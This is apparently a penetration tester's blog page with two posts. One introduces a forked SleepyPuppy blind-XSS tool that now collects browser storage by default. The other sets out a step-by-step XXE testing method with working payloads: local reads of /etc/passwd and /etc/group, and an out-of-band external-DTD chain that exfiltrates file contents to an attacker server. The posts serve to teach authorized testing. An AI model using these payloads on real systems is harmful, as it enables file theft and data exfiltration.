SleepyPuppy is a Cross-Site Scripting (XSS) management tool which is not only full of features and customization options, but also has a really enjoyable name. SleepyPuppy was originally developed by the Netflix Skunkworks security team released back in ~2015, and unfortunately deprecated from future updates around ~2018.  While the original creators state that other tools have come along which streamline the process, which may be true, other tools are lacking in the features that I personally want: dynamic customization of payloads, payload templating, and a way to logically sort and filter out all the responses you may get back. These XSS management tools are especially useful when attempting Blind XSS.

Let's quickly cover the risk of Blind XSS. In traditional XSS variants, an attacker is attacking the 'front door' of an application... meaning whatever is user facing. Most commonly you're targeting other users of the same application, or perhaps an administrator account to steal. While you may be able to go several applications deep if this is a portal application, all your attacks typically end up executing at the 'front of the stack.' However, in Blind XSS, an attacker attempts to send malicious payloads through any service they can get their hands on such as APIs, Logging, Headers, Database calls, File Uploads, and more in order to pop a payload somewhere down the stack.

For example, in order to keep up with modern standards and demands of clients, a development team is forced to implement logging across the board for all their APIs... and to meet the demands they decide to log everything and anything from an HTTP request. They're sending these logs to 'XYZ Log Viewer' which someone occasionally checks when errors arise. We decide to start uploading xss payloads inside of the User-Agent calling back to our xss tool of choice. Several days/weeks/months later all of a sudden we've received a callback to our tool! What happened? Well in this hypothetical scenario, let's say the XYZ Log Viewer is vulnerable to some form of XSS, and finally some internal user decided to check the logs and because they've been logging all HTTP data, our User-Agent XSS pops and we get our execution.

These various XSS tools present an attacker the insight on script execution and a feedback mechanism to tailor, and potentially chain, attacks against a given target, especially against services several layers deep typically hidden from an external point of view.

So back to SleepyPuppy, what are its features?

• Create templated script variants to share across pentesters
• Dynamically update these 'PuppyScript' payloads (in case of error, new features, or de-weaponizing)
• Provides a way to have a single generic payload that only requests the data you need
• Allows "assessments" to be created which can sort assessment A from assessment B; critical for deploying the tool on a single asset for pentesters
• Takes a screenshot upon xss execution
• Has Access Logs independent of script execution (handy for troubleshooting or identifying controls)
• Actually has Users and Authentication

In future posts I'll touch on why those bullet points above are especially important, and touch on other tools that are missing some (such as ezXSS).

Modern application development has started relying on the LocalStorage and SessionStorage for storing sensitive information and by default SleepyPuppy does not support this unless you stub stealing that data in a generic collector payload. Borrowing this UI idea from ezXSS, I've decided to stub in this information by default into SleepyPuppy payloads, as well as clean up the theme, update the UI to the newest Flask Admin templates, and fix a couple hardcoded url issues. In the near future I'm hoping to take a crack at fixing the Burp Plugin to work with Burp 2.0 in order to allow an easy stub for SleepyPuppy payloads.

https://github.com/randomactsofsecurity/sleepy-puppy

There's a bunch of articles floating around the internet on XML External Entity (XXE) Injection which typically describe various payloads, attack vectors, and general use cases when it comes to this fun vulnerability. However, back when I was first learning about XXE I could never come across a proper thought process for testing XXE. After running into XXE during various penetration tests, I've decided to share how I personally test this vulnerability, and moreover, what my mindset is when I'm on the hunt for XXE.

Check the bottom of this post for some great references and additional guides to XXE which have helped me over the years.

Quick Review: Internal Entities vs External Entities

Before we dive in, knowing the difference between internal and external entities will save you some headache in the long run. Even though internal entities are not as juicy of an attack vector (other than denial of service), they can be very useful as a litmus test for xxe protections.

This is an Internal XML Entity which is used to expand text:

<!DOCTYPE root [
    <!ENTITY my_entity "foo">
]>

<root>Testing for &my_entity;bar expansion</root>

This will render as: Testing for foobar expansion

And this is an External Entity which is supposed to be used to pull in other XML content

<!DOCTYPE root [
    <!ENTITY my_external_entity SYSTEM "https://www.blah.com/copy.xml">
]>

copy.xml could contain the html entity &copy;

<root>Pull in my external entity &my_external_entity; 2019</root>

This will render as: Pull in my external entity ©2019

Now with that background we can continue on to my personal attack thought process for XXE

DOCTYPE Callbacks

First, can I attempt to load an External DTD and get a DNS (and hopefully HTTP) callback via DOCTYPE declaration? Often times when pentesting an internet facing application firewall rules or network segmentation will block HTTP callbacks; however as an internal pentester, you should be able to receive a HTTP callback most of the times if DNS was at least successful.

<!DOCTYPE dtd SYSTEM "http://###.burpcollaborator.net">

The golden response signaling a great chance at XXE will be valid DNS and HTTP callbacks. It's important to remember at this stage, just because we got a connection doesn't mean we'll be able to retrieve any files or perform other malicious actions.

If we do not get back at least a DNS lookup, odds are network controls are preventing any sort of connection from being made which will make life more difficult for stealing files if we end up with an oob exploit. 99% of the time in my XXE experience I've been at least able to obtain a DNS callback, however your results may vary.

Reflection

The next area I'm keying in on is the application request and response. In order for our traditional XXE to be successful, I'm going to need some application request parameter/data reflected back in the response.... with several caveats we'll get to in a second. The questions I ask myself are:

• How does a normal request work on the vulnerable endpoint?
• Are we getting any reflected content back from our input?

Without understanding or estimating how the application functionally works, or attempting to guess at how its processing request data, you're going to be blindly throwing payloads at the application hoping for an exploit. You're a better tester than that.

Instead, look at the content of the request, try to understand if XML parsing is occurring, or if your request is being transformed in some way. For non XML requests, try to understand why that request type is being transformed back into an XML response (and vice-versa). I've seen first hand XML data inside of JSON requests with an XML response, so pay attention to response types!

To the second question, if our input is getting reflected, great! If not, what about an invalid request, are there verbose errors that would allow our user input to get reflected back there?

For the sake of brevity, the scenario below will be about traditional XML Requests and XML responses.

For example, if we have the following request:

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<root>
    <file_uuid>1337</file_uuid>
</root>


With the following response:

HTTP 200 OK
Content-type: text/xml

<root>
    <file_uuid>1337</file_uuid>
    <file_name>Hello_World.txt</file_uuid>
    <file_contents>foobar</file_contents>
</root>

And an invalid request reflects as:

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<root>
    <file_uuid>1337xyzabc</file_uuid>
</root>


With the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337xyzabc</error>
</root>

We can see that the file_uuid element is reflecting it's data back in the response of the XML processor, we can now use this to our advantage. Once we've established we have reflection, we can begin testing for XXE.

1. Confirm internal entity expansion to determine if entities are disabled across the board by the XML processor.

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<!DOCTYPE root [
    <!ENTITY internal "foobar">
]>
<root>
    <file_uuid>1337&internal</file_uuid>
</root>


Will **hopefully** return the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337foobar</error>
</root>

2. If we have internal entity expansion, let's move on to a pure XXE payload and retrieve a local file. Based on the architecture of the system the application is running on, choose your given payload (Windows vs Linux). Note: I've started using /etc/group in addition to /etc/passwd as payload types due to file system permission restrictions.

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<!DOCTYPE root
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <file_uuid>1337&xxe;</file_uuid>
</root>


Will hopefully return a successful file include

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337  root:!:0:0::/:/usr/bin/sh
daemon:!:1:1::/etc:.......</error>
</root>

3. Try a parameter variant. While parameters are typically used in out of band variants, they could be fruitful based on your XML processor and it's worth the 10 seconds it takes to check.

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY xxe "contents of file: %file;">
]>
<root>
    <file_uuid>1337&xxe;</file_uuid>
</root>


Will **hopefully** return the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337 contents of file:  root:!:0:0::/:/usr/bin/sh
daemon:!:1:1::/etc:.......</error>
</root>

4. If the above has failed, it's time to move on to the Out of Band variants

Out of Band (OOB)

What we're referring to with 'Out of Band (OOB)' XXE (sometimes referred to as blind) variants is utilizing XML parameter entities to send the contents of our file to an attacker controlled webserver. What we're attempting to do is retrieve the contents of a given file and then steal one line of that data via a GET request to a local webservers access logs that we're monitoring.

As an attacker, I will typically spin up a python HTTP or HTTPS SimpleHTTPServer module in order to serve up my various XML payloads. Here is a link on how to setup a HTTPS variant of this module.

From my personal experience with oob xxe variants, there is a single requirement which needs to be met in order for you to continue on to more interesting exfiltration vectors such as FTP (for multiline file retrieval):

The parameter nested inside of an entity must expand when called

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<!DOCTYPE root [
    <!ENTITY % param "foobar">
    <!ENTITY xxe SYSTEM "http://127.0.0.1/%param;">
]>
<root>
    <file_uuid>1337 &xxe;</file_uuid>
</root>


Can return any response, but on your webserver you will check for expansion

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337</error>
</root>

If you were successful, congrats you've got OOB XXE and can exfiltrate data one line at a time via a GET request in your access logs.

If you do not recieve a GET to /foobar, and instead recieve a GET /%param we're going to have to dive quite a bit deeper into various request types. The next major variant will be attempting to force the entity itself to be written to the doctype and trigger the expansion, rather than triggering the expansion inline. There are several different types of payloads here which all may work (we're starting to have to guess a bit and see what sticks):

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

<!DOCTYPE root [
    <!ENTITY % param SYSTEM "http://127.0.0.1/dtd.xml">
    %param;
    %p;
]>
<root>
    <file_uuid>1337 &xxe;</file_uuid>
</root>

Our External DTD file contains the following:
--------------------
<!ENTITY % exfil SYSTEM "file:///etc/group">
<!ENTITY % p "<!ENTITY xxe SYSTEM 'http://127.0.0.1/?%exfil;'>">

Can return any response, but on your webserver you will check for expansion

HTTP 404 NOT FOUND
Content-type: text/xml

<root>
    <error>Could not find file with uuid 1337</error>
</root>

1. %param gets called which triggers a connection to our remote server for the "dtd.xml" file.
2. %p has been loaded into the namespace of our current XML, so we can now trigger %p to load which will write the xxe entity to the namespace.
3. During this write the %exfil parameter is expanded which triggers a file retrieval of /etc/group and stores it in the %exfil parameter.
4. Lastly, &xxe; is called which triggers the data to be exfiltrated back to our server and the first line of root is retrieved and logged.

If that example does not work, feel free to seek out more additional payloads at this time as they all follow that same structure for the most part. It all revolves around how the XML processor will actually expand out the parameters when doing HTTP connections.

Wrap Up

At a high level, that was my basic approach to testing for XXE. There are a lot more payloads and examples that I have not covered as there not really necessary and other articles are more detailed on them (see staaldrads FTP link at the bottom). I'll continue to update this page as I flesh out and discover new techniques for XXE testing.

References